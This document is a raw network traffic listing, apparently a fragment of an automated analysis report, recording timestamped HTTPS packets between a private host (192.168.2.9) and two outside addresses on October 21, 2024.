Oct 21, 2024 13:17:17.326437950 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.327912092 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.327928066 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.327981949 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.328540087 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.328567982 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.329253912 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.329289913 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.329341888 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.329575062 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.329586983 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.330372095 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.330395937 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.330472946 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.330549002 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.330560923 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.331800938 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.331809998 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.331864119 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.331921101 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.331938028 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.332097054 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.332108974 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.342035055 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:17.383335114 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:17.739046097 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:17.788218975 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.007483959 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.007493973 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.007527113 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.007534981 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.007565975 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.007565975 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.007599115 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.007622004 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.007622004 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.007664919 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.010171890 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.010191917 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.010274887 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.010293961 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.010344982 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.064656019 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.065116882 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.065125942 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.065614939 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.065618992 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.065896988 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.066283941 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.066302061 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.066726923 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.066731930 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.083908081 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.084355116 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.084368944 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.084786892 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.084791899 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.097235918 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.097675085 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.097700119 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.098026991 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.098032951 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.143748999 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.144288063 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.144326925 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.144565105 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.144572020 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438242912 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438256979 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438325882 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438345909 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438364983 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438384056 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.438404083 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.438421011 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438460112 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.438529015 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438589096 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438600063 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.438618898 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.438618898 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438637972 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438642979 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.438649893 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.438656092 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438719988 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438781023 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.438829899 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.438947916 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.438977957 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.439008951 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.439011097 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.439034939 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.439054012 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.439059019 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.439078093 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.439106941 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.439950943 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.439961910 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.439977884 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.439987898 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.440486908 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.440491915 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.440505981 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.440509081 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.441037893 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.441052914 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.441072941 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.441078901 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.442640066 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.442662954 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.442723989 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.442792892 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.442810059 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.442864895 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.444252968 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.444276094 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.444350004 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.444477081 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.444483042 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.444519997 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.444533110 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.444538116 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.444772005 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.444780111 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.444870949 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.444880962 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.444966078 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.444977045 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.445986986 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.445997953 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.446060896 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.446177006 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:18.446182013 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:18.544383049 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.544403076 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.544477940 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.544507980 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.544554949 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.546757936 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.546773911 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.546838999 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.546844959 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.546886921 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.812824011 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.812834024 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.812880039 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.812990904 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.813020945 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.813038111 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.813071012 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.814292908 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.814330101 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.814364910 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.814369917 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:18.814400911 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:18.814413071 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.094769001 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.094779968 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.094820976 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.094930887 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.094960928 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.094969988 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.095004082 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.096002102 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.096015930 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.096071959 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.096077919 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.096116066 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.172214031 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.172652960 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.172672987 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.173048973 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.173053026 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.177016020 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.177400112 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.177406073 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.177695036 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.177697897 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.178716898 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.179117918 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.179141998 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.179351091 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.179356098 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.182060957 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.182293892 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.182310104 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.182576895 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.182581902 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.187376022 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.187611103 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.187621117 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.187916040 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.187921047 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.301265001 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.301476955 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.301543951 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.301681042 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.301692963 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.301700115 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.301704884 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.304780006 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.304821968 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.304894924 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.305012941 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.305027008 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.307385921 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.307729959 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.307780027 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.307804108 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.307807922 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.307816029 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.307820082 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.309492111 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.309533119 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.309607029 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.309776068 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.309789896 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.310483932 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.310640097 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.310782909 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.310782909 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.310782909 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.312236071 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.312246084 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.312315941 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.312424898 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.312433958 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.313252926 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.313410997 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.313472986 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.313494921 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.313510895 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.313523054 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.313528061 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.315291882 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.315299988 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.315371037 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.315496922 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.315507889 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.320312023 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.320367098 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.320410967 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.320488930 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.320488930 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.320497036 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.320503950 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.322041035 CEST	49752	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.322072983 CEST	443	49752	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.322139025 CEST	49752	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.322254896 CEST	49752	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.322268963 CEST	443	49752	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.538178921 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:19.538217068 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:19.615797997 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.615809917 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.615852118 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.615968943 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.615998983 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.616015911 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.616050005 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.616611004 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.616628885 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.616692066 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.616692066 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.616698980 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.616744041 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.617634058 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.617650032 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.617698908 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.617705107 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.617733002 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.617748022 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.618601084 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.618624926 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.618663073 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.618675947 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.618694067 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.618717909 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.621207952 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.621227026 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.621309042 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.621331930 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.621375084 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.644213915 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.885051966 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.885063887 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.885096073 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.885130882 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.885143995 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:19.885158062 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:19.885184050 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.033967972 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.036849022 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.039323092 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.039347887 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.042319059 CEST	443	49752	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.044790983 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.044797897 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.045114040 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.045140982 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.045356035 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.045362949 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.046228886 CEST	49752	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.046288013 CEST	443	49752	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.046969891 CEST	49752	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.046983004 CEST	443	49752	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.047513008 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.047892094 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.047903061 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.048065901 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.048072100 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.069585085 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.070451975 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.070460081 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.070791960 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.070796013 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.152442932 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.152463913 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.152498960 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.152642012 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.152642012 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.152672052 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.152724028 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.153059959 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.153074026 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.153134108 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.153141022 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.153181076 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.169455051 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.169670105 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.169745922 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.169759989 CEST	49748	443	192.168.2.9	13.107.246.45
